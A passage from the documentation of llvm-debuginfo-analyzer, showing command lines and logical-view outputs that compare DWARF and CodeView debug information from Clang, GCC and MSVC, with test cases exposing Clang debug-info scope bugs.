[003]           {Code} 'movl  -0x14(%rbp), %eax'
[003]           {Code} 'movl  -0x4(%rbp), %eax'
[003]     4     {TypeAlias} 'INTEGER' -> 'int'
[004]     5     {Variable} 'CONSTANT' -> 'const INTEGER'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           3          0
Symbols          4          1
Types            2          1
Lines           17          6
-----------------------------
Total           26          8

COMPARISON MODE

In this mode llvm-debuginfo-analyzer compares logical views to produce a report with the logical elements that are missing or added. This a very powerful aid in finding semantic differences in the debug information produced by different toolchain versions or even completely different toolchains altogether (For example a compiler producing DWARF can be directly compared against a completely different compiler that produces CodeView).

Given the previous example we found the above debug information issue (related to the previous invalid scope location for the ‘typedef int INTEGER’) by comparing against another compiler.

Using GCC to generate test-dwarf-gcc.o, we can apply a selection pattern with the printing mode to obtain the following logical view output.

llvm-debuginfo-analyzer –attribute=level –select-regex –select-nocase –select=INTe –report=list –print=symbols,types test-dwarf-clang.o test-dwarf-gcc.o

Logical View:
[000]           {File} 'test-dwarf-clang.o'

[001]           {CompileUnit} 'test.cpp'
[003]     4     {TypeAlias} 'INTEGER' -> 'int'
[004]     5     {Variable} 'CONSTANT' -> 'const INTEGER'

Logical View:
[000]           {File} 'test-dwarf-gcc.o'

[001]           {CompileUnit} 'test.cpp'
[004]     4     {TypeAlias} 'INTEGER' -> 'int'
[004]     5     {Variable} 'CONSTANT' -> 'const INTEGER'

The output shows that both objects contain the same elements. But the ‘typedef INTEGER’ is located at different scope level. The GCC generated object, shows ‘4’, which is the correct value.

Note that there is no requirement that GCC must produce identical or similar DWARF to Clang to allow the comparison. We’re only comparing the semantics. The same case when comparing CodeView debug information generated by MSVC and Clang.

There are 2 comparison methods: logical view and logical elements.

LOGICAL VIEW

It compares the logical view as a whole unit; for a match, each compared logical element must have the same parents and children.

Using the llvm-debuginfo-analyzer comparison functionality, that issue can be seen in a more global context, that can include the logical view.

The output shows in view form the missing (-), added (+) elements, giving more context by swapping the reference and target object files.

llvm-debuginfo-analyzer –attribute=level –compare=types –report=view –print=symbols,types test-dwarf-clang.o test-dwarf-gcc.o

Reference: 'test-dwarf-clang.o'
Target:    'test-dwarf-gcc.o'

Logical View:
 [000]           {File} 'test-dwarf-clang.o'

 [001]             {CompileUnit} 'test.cpp'
 [002]     1         {TypeAlias} 'INTPTR' -> '* const int'
 [002]     2         {Function} extern not_inlined 'foo' -> 'int'
 [003]                 {Block}
 [004]     5             {Variable} 'CONSTANT' -> 'const INTEGER'
+[004]     4             {TypeAlias} 'INTEGER' -> 'int'
 [003]     2           {Parameter} 'ParamBool' -> 'bool'
 [003]     2           {Parameter} 'ParamPtr' -> 'INTPTR'
 [003]     2           {Parameter} 'ParamUnsigned' -> 'unsigned int'
-[003]     4           {TypeAlias} 'INTEGER' -> 'int'

The output shows the merging view path (reference and target) with the missing and added elements.

LOGICAL ELEMENTS

It compares individual logical elements without considering if their parents are the same. For both comparison methods, the equal criteria includes the name, source code location, type, lexical scope level.

llvm-debuginfo-analyzer –attribute=level –compare=types –report=list –print=symbols,types,summary test-dwarf-clang.o test-dwarf-gcc.o

Reference: 'test-dwarf-clang.o'
Target:    'test-dwarf-gcc.o'

(1) Missing Types:
-[003]     4     {TypeAlias} 'INTEGER' -> 'int'

(1) Added Types:
+[004]     4     {TypeAlias} 'INTEGER' -> 'int'

----------------------------------------
Element   Expected    Missing      Added
----------------------------------------
Scopes           4          0          0
Symbols          0          0          0
Types            2          1          1
Lines            0          0          0
----------------------------------------
Total            6          1          1

Changing the Reference and Target order:

llvm-debuginfo-analyzer –attribute=level –compare=types –report=list –print=symbols,types,summary test-dwarf-gcc.o test-dwarf-clang.o

Reference: 'test-dwarf-gcc.o'
Target:    'test-dwarf-clang.o'

(1) Missing Types:
-[004]     4     {TypeAlias} 'INTEGER' -> 'int'

(1) Added Types:
+[003]     4     {TypeAlias} 'INTEGER' -> 'int'

----------------------------------------
Element   Expected    Missing      Added
----------------------------------------
Scopes           4          0          0
Symbols          0          0          0
Types            2          1          1
Lines            0          0          0
----------------------------------------
Total            6          1          1

As the Reference and Target are switched, the Added Types from the first case now are listed as Missing Types.

TEST CASE 2 - ASSEMBLER INSTRUCTIONS

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 Codeview and ELF targets with recent versions of Clang, GCC and MSVC (-O0 -g) for Windows and Linux.

1 extern int printf(const char * format, … ); 2 3 int main() 4 { 5 printf(“Hello, World “); 6 return 0; 7 }

These are the logical views that llvm-debuginfo-analyzer generates for 3 different compilers (MSVC, Clang and GCC), emitting different debug information formats (CodeView, DWARF) on Windows and Linux.

llvm-debuginfo-analyzer –attribute=level,format,producer –print=lines,instructions hello-world-codeview-clang.o hello-world-codeview-msvc.o hello-world-dwarf-clang.o hello-world-dwarf-gcc.o

CodeView - Clang (Windows)

Logical View: [000] {File} ‘hello-world-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'hello-world.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]               {Function} extern not_inlined 'main' -> 'int'
[003]     4           {Line}
[003]                 {Code} 'subq    $0x28, %rsp'
[003]                 {Code} 'movl    $0x0, 0x24(%rsp)'
[003]     5           {Line}
[003]                 {Code} 'leaq    (%rip), %rcx'
[003]                 {Code} 'callq   0x0'
[003]     6           {Line}
[003]                 {Code} 'xorl    %eax, %eax'
[003]                 {Code} 'addq    $0x28, %rsp'
[003]                 {Code} 'retq'

CodeView - MSVC (Windows)

Logical View: [000] {File} ‘hello-world-codeview-msvc.o’ -> COFF-i386

[001]             {CompileUnit} 'hello-world.cpp'
[002]               {Producer} 'Microsoft (R) Optimizing Compiler'
[002]               {Function} extern not_inlined 'main' -> 'int'
[003]     4           {Line}
[003]                 {Code} 'pushl   %ebp'
[003]                 {Code} 'movl    %esp, %ebp'
[003]     5           {Line}
[003]                 {Code} 'pushl   $0x0'
[003]                 {Code} 'calll   0x0'
[003]                 {Code} 'addl    $0x4, %esp'
[003]     6           {Line}
[003]                 {Code} 'xorl    %eax, %eax'
[003]     7           {Line}
[003]                 {Code} 'popl    %ebp'
[003]                 {Code} 'retl'

DWARF - Clang (Linux)

Logical View: [000] {File} ‘hello-world-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'hello-world.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     3         {Function} extern not_inlined 'main' -> 'int'
[003]     4           {Line}
[003]                 {Code} 'pushq   %rbp'
[003]                 {Code} 'movq    %rsp, %rbp'
[003]                 {Code} 'subq    $0x10, %rsp'
[003]                 {Code} 'movl    $0x0, -0x4(%rbp)'
[003]     5           {Line}
[003]                 {Code} 'movabsq $0x0, %rdi'
[003]                 {Code} 'movb    $0x0, %al'
[003]                 {Code} 'callq   0x0'
[003]     6           {Line}
[003]                 {Code} 'xorl    %eax, %eax'
[003]                 {Code} 'addq    $0x10, %rsp'
[003]                 {Code} 'popq    %rbp'
[003]                 {Code} 'retq'
[003]     6           {Line}

DWARF - GCC (Linux)

Logical View: [000] {File} ‘hello-world-dwarf-gcc.o’ -> elf64-x86-64

[001]             {CompileUnit} 'hello-world.cpp'
[002]               {Producer} 'GNU C++14 9.3.0'
[002]     3         {Function} extern not_inlined 'main' -> 'int'
[003]     4           {Line}
[003]                 {Code} 'endbr64'
[003]                 {Code} 'pushq   %rbp'
[003]                 {Code} 'movq    %rsp, %rbp'
[003]     5           {Line}
[003]                 {Code} 'leaq    (%rip), %rdi'
[003]                 {Code} 'movl    $0x0, %eax'
[003]                 {Code} 'callq   0x0'
[003]     6           {Line}
[003]                 {Code} 'movl    $0x0, %eax'
[003]     7           {Line}
[003]                 {Code} 'popq    %rbp'
[003]                 {Code} 'retq'
[003]     7           {Line}

The logical views shows the intermixed lines and assembler instructions, allowing to compare the code generated by the different toolchains.

TEST CASE 3 - INCORRECT LEXICAL SCOPE FOR TYPEDEF

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 Codeview and ELF targets with recent versions of Clang, GCC and MSVC (-O0 -g).

1 int bar(float Input) { return (int)Input; } 2 3 unsigned foo(char Param) { 4 typedef int INT; // ** Definition for INT ** 5 INT Value = Param; 6 { 7 typedef float FLOAT; // ** Definition for FLOAT ** 8 { 9 FLOAT Added = Value + Param; 10 Value = bar(Added); 11 } 12 } 13 return Value + Param; 14 }

The above test is used to illustrate a scope issue found in the Clang compiler: PR44884 (Bugs LLVM) / PR44229 (GitHub LLVM)

The lines 4 and 7 contains 2 typedefs, defined at different lexical scopes.

4 typedef int INT; 7 typedef float FLOAT;

These are the logical views that llvm-debuginfo-analyzer generates for 3 different compilers (MSVC, Clang and GCC), emitting different debug information formats (CodeView, DWARF) on different platforms.

llvm-debuginfo-analyzer –attribute=level,format,producer –print=symbols,types,lines –output-sort=kind pr-44884-codeview-clang.o pr-44884-codeview-msvc.o pr-44884-dwarf-clang.o pr-44884-dwarf-gcc.o

CodeView - Clang (Windows)

Logical View: [000] {File} ‘pr-44884-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'pr-44884.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]               {Function} extern not_inlined 'bar' -> 'int'
[003]                 {Parameter} 'Input' -> 'float'
[003]     1           {Line}
[002]               {Function} extern not_inlined 'foo' -> 'unsigned'
[003]                 {Block}
[004]                   {Variable} 'Added' -> 'float'
[004]     9             {Line}
[004]    10             {Line}
[003]                 {Parameter} 'Param' -> 'char'
[003]                 {TypeAlias} 'FLOAT' -> 'float'
[003]                 {TypeAlias} 'INT' -> 'int'
[003]                 {Variable} 'Value' -> 'int'
[003]     3           {Line}
[003]     5           {Line}
[003]    13           {Line}

CodeView - MSVC (Windows)

Logical View: [000] {File} ‘pr-44884-codeview-msvc.o’ -> COFF-i386

[001]             {CompileUnit} 'pr-44884.cpp'
[002]               {Producer} 'Microsoft (R) Optimizing Compiler'
[002]               {Function} extern not_inlined 'bar' -> 'int'
[003]                 {Variable} 'Input' -> 'float'
[003]     1           {Line}
[002]               {Function} extern not_inlined 'foo' -> 'unsigned'
[003]                 {Block}
[004]                   {Block}
[005]                     {Variable} 'Added' -> 'float'
[004]                   {TypeAlias} 'FLOAT' -> 'float'
[004]     9             {Line}
[004]    10             {Line}
[003]                 {TypeAlias} 'INT' -> 'int'
[003]                 {Variable} 'Param' -> 'char'
[003]                 {Variable} 'Value' -> 'int'
[003]     3           {Line}
[003]     5           {Line}
[003]    13           {Line}
[003]    14           {Line}

DWARF - Clang (Linux)

Logical View: [000] {File} ‘pr-44884-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-44884.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     1         {Function} extern not_inlined 'bar' -> 'int'
[003]     1           {Parameter} 'Input' -> 'float'
[003]     1           {Line}
[003]     1           {Line}
[003]     1           {Line}
[002]     3         {Function} extern not_inlined 'foo' -> 'unsigned int'
[003]                 {Block}
[004]     9             {Variable} 'Added' -> 'FLOAT'
[004]     9             {Line}
[004]     9             {Line}
[004]     9             {Line}
[004]     9             {Line}
[004]     9             {Line}
[004]    10             {Line}
[004]    10             {Line}
[004]    10             {Line}
[004]    13             {Line}
[003]     3           {Parameter} 'Param' -> 'char'
[003]     7           {TypeAlias} 'FLOAT' -> 'float'
[003]     4           {TypeAlias} 'INT' -> 'int'
[003]     5           {Variable} 'Value' -> 'INT'
[003]     3           {Line}
[003]     5           {Line}
[003]     5           {Line}
[003]    13           {Line}
[003]    13           {Line}
[003]    13           {Line}
[003]    13           {Line}

DWARF - GCC (Linux)

Logical View: [000] {File} ‘pr-44884-dwarf-gcc.o’ -> elf32-littlearm

[001]             {CompileUnit} 'pr-44884.cpp'
[002]               {Producer} 'GNU C++14 10.2.1 20201103'
[002]     1         {Function} extern not_inlined 'bar' -> 'int'
[003]     1           {Parameter} 'Input' -> 'float'
[003]     1           {Line}
[003]     1           {Line}
[003]     1           {Line}
[002]     3         {Function} extern not_inlined 'foo' -> 'unsigned int'
[003]                 {Block}
[004]                   {Block}
[005]     9               {Variable} 'Added' -> 'FLOAT'
[005]     9               {Line}
[005]     9               {Line}
[005]     9               {Line}
[005]    10               {Line}
[005]    13               {Line}
[004]     7             {TypeAlias} 'FLOAT' -> 'float'
[003]     3           {Parameter} 'Param' -> 'char'
[003]     4           {TypeAlias} 'INT' -> 'int'
[003]     5           {Variable} 'Value' -> 'INT'
[003]     3           {Line}
[003]     5           {Line}
[003]    13           {Line}
[003]    14           {Line}
[003]    14           {Line}

From the previous logical views, we can see that the Clang compiler emits both typedefs at the same lexical scope (3), which is wrong. GCC and MSVC emit correct lexical scope for both typedefs.

Using the llvm-debuginfo-analyzer selection facilities, we can produce a simple tabular output showing just the logical types that are Typedef.

llvm-debuginfo-analyzer –attribute=level,format –output-sort=name –select-types=Typedef –report=list –print=types pr-44884-*.o

Logical View:
[000]           {File} 'pr-44884-codeview-clang.o' -> COFF-x86-64

[001]           {CompileUnit} 'pr_44884.cpp'
[003]           {TypeAlias} 'FLOAT' -> 'float'
[003]           {TypeAlias} 'INT' -> 'int'

Logical View:
[000]           {File} 'pr-44884-codeview-msvc.o' -> COFF-i386

[001]           {CompileUnit} 'pr_44884.cpp'
[004]           {TypeAlias} 'FLOAT' -> 'float'
[003]           {TypeAlias} 'INT' -> 'int'

Logical View:
[000]           {File} 'pr-44884-dwarf-clang.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr_44884.cpp'
[003]     7     {TypeAlias} 'FLOAT' -> 'float'
[003]     4     {TypeAlias} 'INT' -> 'int'

Logical View:
[000]           {File} 'pr-44884-dwarf-gcc.o' -> elf32-littlearm

[001]           {CompileUnit} 'pr_44884.cpp'
[004]     7     {TypeAlias} 'FLOAT' -> 'float'
[003]     4     {TypeAlias} 'INT' -> 'int'

It also shows, that the CodeView debug information does not generate source code line numbers for the those logical types. The logical view is sorted by the types name.

TEST CASE 4 - MISSING NESTED ENUMERATIONS

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 Codeview and ELF targets with recent versions of Clang, GCC and MSVC (-O0 -g).

1 struct Struct { 2 union Union { 3 enum NestedEnum { RED, BLUE }; 4 }; 5 Union U; 6 }; 7 8 Struct S; 9 int test() { 10 return S.U.BLUE; 11 }

The above test is used to illustrate a scope issue found in the Clang compiler: PR46466 (Bugs LLVM) / PR45811 (GitHub LLVM)

These are the logical views that llvm-debuginfo-analyzer generates for 3 different compilers (MSVC, Clang and GCC), emitting different debug information formats (CodeView, DWARF) on different platforms.

llvm-debuginfo-analyzer –attribute=level,format,producer –output-sort=name –print=symbols,types pr-46466-codeview-clang.o pr-46466-codeview-msvc.o pr-46466-dwarf-clang.o pr-46466-dwarf-gcc.o

CodeView - Clang (Windows)

Logical View: [000] {File} ‘pr-46466-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]               {Variable} extern 'S' -> 'Struct'
[002]     1         {Struct} 'Struct'
[003]                 {Member} public 'U' -> 'Union'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

CodeView - MSVC (Windows)

Logical View: [000] {File} ‘pr-46466-codeview-msvc.o’ -> COFF-i386

[001]             {CompileUnit} 'pr-46466.cpp'
[002]               {Producer} 'Microsoft (R) Optimizing Compiler'
[002]               {Variable} extern 'S' -> 'Struct'
[002]     1         {Struct} 'Struct'
[003]                 {Member} public 'U' -> 'Union'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

DWARF - Clang (Linux)

Logical View: [000] {File} ‘pr-46466-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     8         {Variable} extern 'S' -> 'Struct'
[002]     1         {Struct} 'Struct'
[003]     5           {Member} public 'U' -> 'Union'

DWARF - GCC (Linux)

Logical View: [000] {File} ‘pr-46466-dwarf-gcc.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]               {Producer} 'GNU C++14 9.3.0'
[002]     8         {Variable} extern 'S' -> 'Struct'
[002]     1         {Struct} 'Struct'
[003]     5           {Member} public 'U' -> 'Union'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'unsigned int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

From the previous logical views, we can see that the DWARF debug information generated by the Clang compiler does not include any references to the enumerators RED and BLUE. The DWARF generated by GCC, CodeView generated by Clang and MSVC, they do include such references.

Using the llvm-debuginfo-analyzer selection facilities, we can produce a logical view showing just the logical types that are Enumerator and its parents. The logical view is sorted by the types name.

llvm-debuginfo-analyzer –attribute=format,level –output-sort=name –select-types=Enumerator –report=parents –print=types pr-46466-*.o

Logical View: [000] {File} ‘pr-46466-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]     1         {Struct} 'Struct'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

Logical View:
[000]           {File} 'pr-46466-codeview-msvc.o' -> COFF-i386

[001]             {CompileUnit} 'pr-46466.cpp'
[002]     1         {Struct} 'Struct'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

Logical View:
[000]           {File} 'pr-46466-dwarf-clang.o' -> elf64-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'

Logical View:
[000]           {File} 'pr-46466-dwarf-gcc.o' -> elf64-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]     1         {Struct} 'Struct'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'unsigned int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

Using the llvm-debuginfo-analyzer selection facilities, we can produce a simple tabular output including a summary for the logical types that are Enumerator. The logical view is sorted by the types name.

llvm-debuginfo-analyzer –attribute=format,level –output-sort=name –select-types=Enumerator –print=types,summary pr-46466-*.o

Logical View: [000] {File} ‘pr-46466-codeview-clang.o’ -> COFF-x86-64

[001]           {CompileUnit} 'pr-46466.cpp'
[005]           {Enumerator} 'BLUE' = '0x1'
[005]           {Enumerator} 'RED' = '0x0'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           5          0
Symbols          2          0
Types            6          2
Lines            0          0
-----------------------------
Total           13          2

Logical View:
[000]           {File} 'pr-46466-codeview-msvc.o' -> COFF-i386

[001]           {CompileUnit} 'pr-46466.cpp'
[005]           {Enumerator} 'BLUE' = '0x1'
[005]           {Enumerator} 'RED' = '0x0'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           5          0
Symbols          2          0
Types            7          2
Lines            0          0
-----------------------------
Total           14          2

Logical View:
[000]           {File} 'pr-46466-dwarf-clang.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr-46466.cpp'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           4          0
Symbols          0          0
Types            0          0
Lines            0          0
-----------------------------
Total            4          0

Logical View:
[000]           {File} 'pr-46466-dwarf-gcc.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr-46466.cpp'
[005]           {Enumerator} 'BLUE' = '0x1'
[005]           {Enumerator} 'RED' = '0x0'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           5          0
Symbols          0          0
Types            2          2
Lines            0          0
-----------------------------
Total            7          2

From the values printed under the Found column, we can see that no Types were found in the DWARF debug information generated by Clang.

TEST CASE 5 - INCORRECT LEXICAL SCOPE FOR VARIABLE

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 Codeview and ELF targets with recent versions of Clang, GCC and MSVC (-O0 -g).

// definitions.h #ifdef _MSC_VER #define forceinline __forceinline #elif defined(clang) #if __has_attribute(always_inline) #define forceinline inline attribute((always_inline)) #else #define forceinline inline #endif #elif defined(GNUC) #define forceinline inline attribute((always_inline)) #else #define forceinline inline #error #endif

As the test is dependent on inline compiler options, the above header file defines forceinline.

#include “definitions.h”

1 #include “definitions.h” 2 forceinline int InlineFunction(int Param) { 3 int Var_1 = Param; 4 { 5 int Var_2 = Param + Var_1; 6 Var_1 = Var_2; 7 } 8 return Var_1; 9 } 10 11 int test(int Param_1, int Param_2) { 12 int A = Param_1; 13 A += InlineFunction(Param_2); 14 return A; 15 }

The above test is used to illustrate a variable issue found in the Clang compiler: PR43860 (Bugs LLVM) / PR43205 (GitHub)

These are the logical views that llvm-debuginfo-analyzer generates for 3 different compilers (MSVC, Clang and GCC), emitting different debug information formats (CodeView, DWARF) on different platforms.

llvm-debuginfo-analyzer –attribute=level,format,producer –output-sort=name –print=symbols pr-43860-codeview-clang.o pr-43860-codeview-msvc.o pr-43860-dwarf-clang.o pr-43860-dwarf-gcc.o

CODEVIEW - Clang (Windows)

Logical View: [000] {File} ‘pr-43860-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'pr-43860.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     2         {Function} inlined 'InlineFunction' -> 'int'
[003]                 {Parameter} '' -> 'int'
[002]               {Function} extern not_inlined 'test' -> 'int'
[003]                 {Variable} 'A' -> 'int'
[003]                 {InlinedFunction} inlined 'InlineFunction' -> 'int'
[004]                   {Parameter} 'Param' -> 'int'
[004]                   {Variable} 'Var_1' -> 'int'
[004]                   {Variable} 'Var_2' -> 'int'
[003]                 {Parameter} 'Param_1' -> 'int'
[003]                 {Parameter} 'Param_2' -> 'int'

CODEVIEW - MSVC (Windows)

Logical View: [000] {File} ‘pr-43860-codeview-msvc.o’ -> COFF-i386

[001]             {CompileUnit} 'pr-43860.cpp'
[002]               {Producer} 'Microsoft (R) Optimizing Compiler'
[002]               {Function} extern not_inlined 'InlineFunction' -> 'int'
[003]                 {Block}
[004]                   {Variable} 'Var_2' -> 'int'
[003]                 {Variable} 'Param' -> 'int'
[003]                 {Variable} 'Var_1' -> 'int'
[002]               {Function} extern not_inlined 'test' -> 'int'
[003]                 {Variable} 'A' -> 'int'
[003]                 {Variable} 'Param_1' -> 'int'
[003]                 {Variable} 'Param_2' -> 'int'

DWARF - Clang (Linux)

Logical View: [000] {File} ‘pr-43860-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-43860.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     2         {Function} extern inlined 'InlineFunction' -> 'int'
[003]                 {Block}
[004]     5             {Variable} 'Var_2' -> 'int'
[003]     2           {Parameter} 'Param' -> 'int'
[003]     3           {Variable} 'Var_1' -> 'int'
[002]    11         {Function} extern not_inlined 'test' -> 'int'
[003]    12           {Variable} 'A' -> 'int'
[003]    14           {InlinedFunction} inlined 'InlineFunction' -> 'int'
[004]                   {Block}
[005]                     {Variable} 'Var_2' -> 'int'
[004]                   {Parameter} 'Param' -> 'int'
[004]                   {Variable} 'Var_1' -> 'int'
[003]    11           {Parameter} 'Param_1' -> 'int'
[003]    11           {Parameter} 'Param_2' -> 'int'

DWARF - GCC (Linux)

Logical View: [000] {File} ‘pr-43860-dwarf-gcc.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-43860.cpp'
[002]               {Producer} 'GNU C++14 9.3.0'
[002]     2         {Function} extern declared_inlined 'InlineFunction' -> 'int'
[003]                 {Block}
[004]     5             {Variable} 'Var_2' -> 'int'
[003]     2           {Parameter} 'Param' -> 'int'
[003]     3           {Variable} 'Var_1' -> 'int'
[002]    11         {Function} extern not_inlined 'test' -> 'int'
[003]    12           {Variable} 'A' -> 'int'
[003]    13           {InlinedFunction} declared_inlined 'InlineFunction' -> 'int'
[004]                   {Block}
[005]                     {Variable} 'Var_2' -> 'int'
[004]                   {Parameter} 'Param' -> 'int'
[004]                   {Variable} 'Var_1' -> 'int'
[003]    11           {Parameter} 'Param_1' -> 'int'
[003]    11           {Parameter} 'Param_2' -> 'int'

From the previous logical views, we can see that the CodeView debug information generated by the Clang compiler shows the variables Var_1 and Var_2 are at the same lexical scope (4) in the function InlineFuction. The DWARF generated by GCC/Clang and CodeView generated by MSVC, show those variables at the correct lexical scope: 3 and 4 respectively.

Using the llvm-debuginfo-analyzer selection facilities, we can produce a simple tabular output showing just the logical elements that have in their name the var pattern. The logical view is sorted by the variables name.

llvm-debuginfo-analyzer –attribute=level,format –output-sort=name –select-regex –select-nocase –select=Var –report=list –print=symbols pr-43860-*.o

Logical View: [000] {File} ‘pr-43860-codeview-clang.o’ -> COFF-x86-64

[001]           {CompileUnit} 'pr-43860.cpp'
[004]           {Variable} 'Var_1' -> 'int'
[004]           {Variable} 'Var_2' -> 'int'

Logical View:
[000]           {File} 'pr-43860-codeview-msvc.o' -> COFF-i386

[001]           {CompileUnit} 'pr-43860.cpp'
[003]           {Variable} 'Var_1' -> 'int'
[004]           {Variable} 'Var_2' -> 'int'

Logical View:
[000]           {File} 'pr-43860-dwarf-clang.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr-43860.cpp'
[004]           {Variable} 'Var_1' -> 'int'
[003]     3     {Variable} 'Var_1' -> 'int'
[005]           {Variable} 'Var_2' -> 'int'
[004]     5     {Variable} 'Var_2' -> 'int'

Logical View:
[000]           {File} 'pr-43860-dwarf-gcc.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr-43860.cpp'
[004]           {Variable} 'Var_1' -> 'int'
[003]     3     {Variable} 'Var_1' -> 'int'
[005]           {Variable} 'Var_2' -> 'int'
[004]     5     {Variable} 'Var_2' -> 'int'

It also shows, that the CodeView debug information does not generate source code line numbers for the those logical symbols. The logical view is sorted by the types name.

TEST CASE 6 - FULL LOGICAL VIEW

For advanced users, llvm-debuginfo-analyzer can display low level information that includes offsets within the debug information section, debug location operands, linkage names, etc.

llvm-debuginfo-analyzer –attribute=all –print=all test-dwarf-clang.o

Logical View:
[0x0000000000][000]            {File} 'test-dwarf-clang.o' -> elf64-x86-64

[0x000000000b][001]              {CompileUnit} 'test.cpp'
[0x000000000b][002]                {Producer} 'clang version 12.0.0'
                                   {Directory} ''
                                   {File} 'test.cpp'
                                   {Public} 'foo' [0x0000000000:0x000000003a]
[0x000000000b][002]                {Range} Lines 2:9 [0x0000000000:0x000000003a]
[0x00000000bc][002]                {BaseType} 'bool'
[0x0000000099][002]                {BaseType} 'int'
[0x00000000b5][002]                {BaseType} 'unsigned int'

[0x00000000a0][002]   {Source} '/test.cpp'
[0x00000000a0][002]      1         {TypeAlias} 'INTPTR' -> [0x00000000ab]'* const int'
[0x000000002a][002]      2         {Function} extern not_inlined 'foo' -> [0x0000000099]'int'
[0x000000002a][003]                  {Range} Lines 2:9 [0x0000000000:0x000000003a]
[0x000000002a][003]                  {Linkage}  0x2 '_Z3fooPKijb'
[0x0000000071][003]                  {Block}
[0x0000000071][004]                    {Range} Lines 5:8 [0x000000001c:0x000000002f]
[0x000000007e][004]      5             {Variable} 'CONSTANT' -> [0x00000000c3]'const INTEGER'
[0x000000007e][005]                      {Coverage} 100.00%
[0x000000007f][005]                      {Location}
[0x000000007f][006]                        {Entry} Stack Offset: -28 (0xffffffffffffffe4) [DW_OP_fbreg]
[0x000000001c][004]      5             {Line} {NewStatement} '/test.cpp'
[0x000000001c][004]                    {Code} 'movl   $0x7, -0x1c(%rbp)'
[0x0000000023][004]      6             {Line} {NewStatement} '/test.cpp'
[0x0000000023][004]                    {Code} 'movl   $0x7, -0x4(%rbp)'
[0x000000002a][004]                    {Code} 'jmp    0x6'
[0x000000002f][004]      8             {Line} {NewStatement} '/test.cpp'
[0x000000002f][004]                    {Code} 'movl   -0x14(%rbp), %eax'
[0x0000000063][003]      2           {Parameter} 'ParamBool' -> [0x00000000bc]'bool'
[0x0000000063][004]                    {Coverage} 100.00%
[0x0000000064][004]                    {Location}
[0x0000000064][005]                      {Entry} Stack Offset: -21 (0xffffffffffffffeb) [DW_OP_fbreg]
[0x0000000047][003]      2           {Parameter} 'ParamPtr' -> [0x00000000a0]'INTPTR'
[0x0000000047][004]                    {Coverage} 100.00%
[0x0000000048][004]                    {Location}
[0x0000000048][005]                      {Entry} Stack Offset: -16 (0xfffffffffffffff0) [DW_OP_fbreg]
[0x0000000055][003]      2           {Parameter} 'ParamUnsigned' -> [0x00000000b5]'unsigned int'
[0x0000000055][004]                    {Coverage} 100.00%
[0x0000000056][004]                    {Location}
[0x0000000056][005]                      {Entry} Stack Offset: -20 (0xffffffffffffffec) [DW_OP_fbreg]
[0x000000008d][003]      4           {TypeAlias} 'INTEGER' -> [0x0000000099]'int'
[0x0000000000][003]      2           {Line} {NewStatement} '/test.cpp'
[0x0000000000][003]                  {Code} 'pushq    %rbp'
[0x0000000001][003]                  {Code} 'movq     %rsp, %rbp'
[0x0000000004][003]                  {Code} 'movb     %dl, %al'
[0x0000000006][003]                  {Code} 'movq     %rdi, -0x10(%rbp)'
[0x000000000a][003]                  {Code} 'movl     %esi, -0x14(%rbp)'
[0x000000000d][003]                  {Code} 'andb     $0x1, %al'
[0x000000000f][003]                  {Code} 'movb     %al, -0x15(%rbp)'
[0x0000000012][003]      3           {Line} {NewStatement} {PrologueEnd} '/test.cpp'
[0x0000000012][003]                  {Code} 'testb    $0x1, -0x15(%rbp)'
[0x0000000016][003]                  {Code} 'je       0x13'
[0x0000000032][003]      8           {Line} '/test.cpp'
